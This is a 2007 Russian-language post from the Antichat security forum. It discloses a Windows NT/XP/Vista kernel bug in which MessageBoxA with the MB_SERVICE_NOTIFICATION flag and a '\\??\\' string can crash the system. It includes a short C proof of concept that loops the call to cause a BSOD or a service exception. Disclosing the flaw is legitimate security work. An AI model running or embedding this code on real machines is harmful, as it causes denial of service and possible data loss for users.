ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Безопасность > Защита ОС: вирусы, антивирусы, файрволы.
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Новая уязвимость Windows - Смертельный MessageBox
  #1  
Старый 03.01.2007, 18:41
Аватар для СМЕРТЬ
СМЕРТЬ
Новичок
Регистрация: 30.11.2006
Сообщений: 7
Провел на форуме:
28286

Репутация: 2
Отправить сообщение для СМЕРТЬ с помощью ICQ Отправить сообщение для СМЕРТЬ с помощью MSN
Wink Новая уязвимость Windows - Смертельный MessageBox

Новая уязвимость Windows - Смертельный MessageBox.



была обнаружена критическая ошибка в ядре Windows NT. Она вызывает исключение в системных сервисах или ядре Windows на следующих платформах: XP (все SP), XP 64bit, и даже Vista. Ошибка находится в коде драйвера win32 подсистемы, и ее можно вызвать не очень редкой API функцией – MessageBox:

#include <Windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char bug [] = "\\??\\C:\\";

for(int i = 0; i < 100; i ++)
::MessageBoxA(0, bug, bug, MB_SERVICE_NOTIFICATION);

return 0;
}

Выполнение этого кода очень быстро выводит систему из строя. Код может выдать BSOD, может вызвать в одном из системных сервисов исключение. В любом случае стабильность системы будет нарушена. Не сложно догадаться, что все дело конечно в MessageBox!... и как вы заметили все дело во флаге MB_SERVICE_NOTIFICATION. Обязательное условие вызова исключения – содержимое “\\??\\”. Скорее всего, один MessageBox с 100% не убьет систему, но содержащаяся ошибка таки имеет место, и несколько вызовов (до 10) приведут к результату. Текст сообщения не отвечает ожидаемому “\??\”… В лучшем случае, MessageBox отобразит данные по какому-то случайному указателю. Иногда это и приводит к исключению и падению процессов или системы в целом.





СМЕРТЬ спецально для (www.antichat.ru°)
2007 год. <html>
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Os - моя крепость Elekt Избранное 32 06.08.2009 15:10
Windows Vista FAQ ~!DoK_tOR!~ Windows 4 30.11.2007 00:06
Ошибки Windows и их устранение. Серый Windows 6 15.12.2006 14:44
Faq Что делать, если компьютер не работает zl0ba Болталка 18 10.12.2006 11:27
Охотники за мифами Windows Vista ~Real F@ck!~ Чужие Статьи 2 07.11.2006 10:58



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ